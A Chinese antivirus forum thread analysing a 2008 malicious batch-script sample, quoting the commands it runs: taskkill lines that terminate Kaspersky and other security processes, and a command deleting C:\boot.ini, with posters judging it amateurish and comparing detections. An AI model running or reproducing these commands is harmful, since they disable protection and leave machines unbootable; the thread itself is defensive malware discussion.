“圣诞菁菁”恶意脚本程序，过所有杀毒软件！【恶】

显示全部楼层 · 发表于 2008-12-21 12:16:45

Ikarus这次报的比较接近..

显示全部楼层 · 发表于 2008-12-21 13:01:00

調用cmd.exe報行一系列taskkill.exe

Command Line:

taskkill /f /im iexplore.exe /t
taskkill /f /im avp.exe /t
taskkill /f /im KAVStart.exe /t
taskkill /f /im KWatch.exe /t
taskkill /f /im KMailMon.exe /t
taskkill /f /im KASMain.exe /t
taskkill /f /im KISLnchr.exe /t
taskkill /f /im KPFWSvc.exe /t

似乎又衝著kaspersky而來...

显示全部楼层 · 发表于 2008-12-21 13:02:25

看来还是主动防御牛X。

显示全部楼层 · 发表于 2008-12-21 13:25:21

光靠 taskkill 根本不可能結束掉卡巴
卡巴的保護是相當強的

看了全部的語法只能說做了太多無謂的動作
應該是新手設計的最後還刪除 boot.ini
只會造成系統錯誤無法開機這是病毒設計最大的忌諱

显示全部楼层 · 发表于 2008-12-21 13:35:13

del C:\boot.ini

真的想CB

扔趋势

显示全部楼层 · 发表于 2008-12-21 13:39:48

原帖由 upside 于 2008-12-21 13:25 发表
光靠 taskkill 根本不可能結束掉卡巴
卡巴的保護是相當強的

看了全部的語法只能說做了太多無謂的動作
應該是新手設計的最後還刪除 boot.ini
只會造成系統錯誤無法開機這是病毒設計最大的忌諱

的確有點多餘

可能那傢伙想來測試測試吧

显示全部楼层 · 发表于 2008-12-21 14:03:21

怎么不把ntdlr也

显示全部楼层 · 发表于 2008-12-21 15:00:55

TO ARCA

显示全部楼层 · 发表于 2008-12-21 15:28:08

Ikarus BAT.Trojan.FormatCQ

这报的挺准确这和format有什么区别？

ps：干脆

taskkill /f /im XiaoMa2009.exe /t
taskkill /f /im xiaoma.exe /t
taskkill /f /im autor.exe /t
taskkill /f /im cmd.exe /t

自生自灭

[ 本帖最后由 vistabull 于 2008-12-21 15:30 编辑 ]

显示全部楼层 · 发表于 2008-12-21 15:37:59

微点怎么样····

[病毒样本] “圣诞菁菁”恶意脚本程序，过所有杀毒软件！【恶】

回复 12楼 Mr.Z 的帖子